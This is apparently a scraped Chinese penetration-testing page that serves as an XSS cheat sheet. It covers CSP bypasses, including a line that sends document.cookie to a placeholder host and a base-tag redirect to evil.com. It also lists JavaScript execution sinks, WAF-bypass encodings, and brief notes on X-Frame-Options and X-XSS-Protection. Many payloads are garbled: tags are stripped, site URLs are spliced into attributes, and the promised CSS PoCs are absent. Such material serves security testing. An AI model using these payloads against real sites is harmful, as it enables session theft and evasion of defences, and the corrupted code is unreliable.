3.2.3.3.5. 其他
- CND Bypass,如果网站信任了某个CDN, 那么可利用相应的CDN bypass
- Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request
- jQuery sourcemap
- document.write(`<> //@ sourceMappingURL=http://xxxx/`+document.cookie+`</>`);``
- a标签的ping属性
- For FireFox <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">
- <link rel="import" />
- <meta http-equiv="refresh" content="0; url=http://...." />
- 当-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://evil.com/main.js
- <base href=https://www.isolves.com/it/aq/fwq/2019-10-08/"http://evil.com/">
- < nonce="correct value" src=https://www.isolves.com/it/aq/fwq/2019-10-08/"/main.js">>
3.2.4.1. URL
- location
- location.href
- location.pathname
- location.search
- location.hash
- document.URL
- document.documentURI
- document.baseURI
- window.name
- document.referrer
- Ajax
- Fetch
- WebSocket
- PostMessage
- Cookie
- LocalStorage
- SessionStorage
【渗透测试XSS跨站攻击检测手法】3.2.5.1. 执行Js
- eval(payload)
- setTimeout(payload, 100)
- setInterval(payload, 100)
- Function(payload)()
- <>payload</>
- <img src=https://www.isolves.com/it/aq/fwq/2019-10-08/x =payload>
- location=java:alert(/xss/)
- location.href=https://www.isolves.com/it/aq/fwq/2019-10-08/java:alert(/xss/)
- location.assign(java:alert(/xss/))
- location.replace(java:alert(/xss/))
- xx.innerHTML=payload
- xx.outerHTML=payload
- document.write(payload)
- document.writeln(payload)
3.2.6.1. HTML过滤
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果 。例如DOMPurify等工具都是用该方式实现了XSS的保护 。
3.2.6.2. X-Frame
X-Frame-Options 响应头有三个可选的值:
- DENY
- 页面不能被嵌入到任何iframe或frame中
- SAMEORIGIN
- 页面只能被本站页面嵌入到iframe或者frame中
- ALLOW-FROM
- 页面允许frame或frame加载
基于 Webkit 内核的浏览器(比如Chrome)有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来 。
而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置 。
要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
0: 表示关闭浏览器的XSS防护机制
1: 删除检测到的恶意代码,如果响应报文中没有看到X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
1; mode=block: 如果检测到恶意代码,在不渲染恶意代码
FireFox没有相关的保护机制,如果需要保护,可使用No等相关插件 。
3.2.7. WAF Bypass
- 利用<>标记
- 利用html属性
- href
- lowsrc
- bgsound
- background
- value
- action
- dynsrc
- 关键字
- 利用回车拆分
- 字符串拼接(window["al" + "ert"])
- 利用编码绕过
- jsfuck
- String.fromCharCode
- HTML
- URL
- hex(window["\x61\x6c\x65\x72\x74"])
- unicode
- utf7(+ADw-+AD4-alert('XSS')+ADsAPA-/+AD4-)
- utf16
- 大小写混淆
- 对标签属性值转码
- 产生事件
- css跨站解析
- 长度限制bypass
- eval(name)
- eval(hash)
- import
- $.get
- $.get
- .
- 使用。绕过IP/域名
- document['cookie'] 绕过属性取值
- 过滤引号用 “ ` “ 绕过
CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式 。
3.2.8.1.2. CSS selectors
利用CSS selectors完成攻击的一个示例
3.2.8.1.3. Abusing Unicode Range
当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集 。PoC如下
推荐阅读
- 如何测试电源的故障 测试电源好坏
- 瘦肉精快速检测试剂盒 瘦肉精检测卡
- 抑郁症在线测试
- 特斯拉|特斯拉Model Y中保碰撞测试:保费高的原因找到了!
- PHP防止跨站和xss攻击代码
- 小程序自动化测试实践
- 最全的网站渗透测试详细检测方法
- 4种出色的Python测试框架
- Java 程序员需要用到 10 个测试框架和库
- 苹果|iOS 16要来了!苹果突发iOS 15.5首个版本测试 坐等升级
